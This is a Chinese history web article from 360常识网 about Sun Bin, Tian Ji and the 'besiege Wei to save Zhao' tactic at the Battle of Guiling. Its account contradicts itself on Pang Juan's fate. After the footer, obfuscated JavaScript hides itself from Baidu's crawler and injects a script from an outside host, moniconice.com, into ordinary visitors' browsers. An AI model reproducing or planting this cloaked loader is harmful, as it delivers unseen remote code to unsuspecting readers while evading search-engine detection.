當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

田忌與孫臏如何圍魏救趙 圍魏救趙是在哪次戰(zhàn)爭

2017-04-29 07:53:50  來源:360常識網(wǎng)   熱度:
導(dǎo)語:事件《史記·孫子吳起列傳》,是講戰(zhàn)國時(shí)期齊國與魏國的桂陵之戰(zhàn)。公元前354年,魏惠王欲釋失中山的舊恨,便派大將龐涓前去攻打。這中山原

事件《史記·孫子吳起列傳》,是講戰(zhàn)國時(shí)期齊國與魏國的桂陵之戰(zhàn)。公元前354年,魏惠王欲釋失中山的舊恨,便派大將龐涓前去攻打。這中山原本是東周時(shí)期魏國北鄰的小國被魏國收服,后來趙國乘魏國國喪伺機(jī)將中山強(qiáng)占了,魏將龐涓認(rèn)為中山不過彈丸之地,距離趙國又很近,不若直打趙國都城邯鄲,既解舊恨又一舉雙得。

魏王從之,欣欣然似霸業(yè)從此開始,即撥五百戰(zhàn)車以龐涓為將,直奔趙國圍了趙國都城邯鄲。趙王急難中只好求救于齊國,并許諾解圍后以中山相贈。齊威王應(yīng)允,令田忌為將,并起用從魏國救得的孫臏為軍師領(lǐng)兵出發(fā)。這孫臏曾與龐涓同學(xué),對用兵之法諳熟精通。

魏王用重金將他聘得,當(dāng)時(shí)龐涓也正事奉魏國。龐涓自覺能力不及孫臏,恐其賢于己,遂以毒刑將孫臏致殘,斷孫兩足并在他臉上刺字,企圖使孫不能行走,又羞于見人。后來孫臏裝瘋,幸得齊使者救助,逃到齊國。這是一段關(guān)于龐涓與孫臏的舊事。

且說田忌與孫臏率兵進(jìn)入魏趙交界之地時(shí),田忌想直逼趙國邯鄲,孫臏制止說:“解亂絲結(jié)繩,不可以握拳去打,排解爭斗,不能參與搏擊,平息糾紛要抓住要害,乘虛取勢,雙方因受到制約才能自然分開?,F(xiàn)在魏國精兵傾國而出,若我直攻魏國。那龐涓必回師解救,這樣一來邯鄲之圍定會自解。我們再于中途伏擊龐涓歸路,其軍必?cái) L锛梢烙?jì)而行。”

果然,魏軍離開邯鄲,歸路中又陷伏擊與齊戰(zhàn)于桂陵,魏部卒長途疲憊,潰不成軍,龐涓勉強(qiáng)收拾殘部,退回大梁,齊師大勝,趙國之圍遂解。這便是歷史上有名的“圍魏救趙”的故事。又后十三年,齊魏之軍再度相交于戰(zhàn)場,龐涓復(fù)又陷于孫臏的伏擊自知智窮兵敗遂自刎。孫臏以此名顯天下,世傳其兵法。這個典故是指采用包抄敵人的后方來迫使它撤兵的戰(zhàn)術(shù)。

孫臏謀劃

初時(shí)田忌計(jì)劃奔赴邯鄲,與魏軍主力決戰(zhàn),解決邯鄲之圍。但孫臏認(rèn)為這不利于齊國,于是提出了更為創(chuàng)新和可行的方法,即“批亢搗虛”與“疾走大梁”。“批亢搗虛”即是避實(shí)擊虛,攻其必救,使敵人出現(xiàn)后顧之憂,前線之圍便會自動解開?!凹沧叽罅骸奔词且匝咐撞患把诙畡菹蛭簢爻谴罅哼M(jìn)逼,以切斷魏國的運(yùn)輸要道,并攻其所不備。這樣一來,魏軍定必回師自救,齊軍則可乘其疲憊于路,一舉擊敗魏軍,而趙國之圍則自動解除。

龐涓中計(jì)

孫臏這一招“批亢搗虛”使得田忌甚為拜服,立即采用。于是齊軍主力立即向大梁挺進(jìn)。在此危急存亡之際,雖然邯鄲城已攻破,魏軍還是不得只以少數(shù)兵力留守邯鄲,并由主帥龐涓親率主力回馳大梁。但同時(shí)間,齊軍已于桂陵(今山東菏澤東北一帶)設(shè)伏,準(zhǔn)備截?fù)粑很姟N很娪捎陂L期在外作戰(zhàn),已疲態(tài)畢露,再加以長途跋涉之急速行軍,士兵皆戰(zhàn)意大降。

于是齊魏一交戰(zhàn),魏軍便被大敗,魏軍主帥龐涓被生擒,但與之有仇的孫臏在此次放過了他。結(jié)果趙國之圍解除,邯鄲亦失而復(fù)得?!芭簱v虛”這招由于在桂陵之戰(zhàn)里被充份運(yùn)用,因此后世以“圍魏救趙”來稱呼這道策略。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}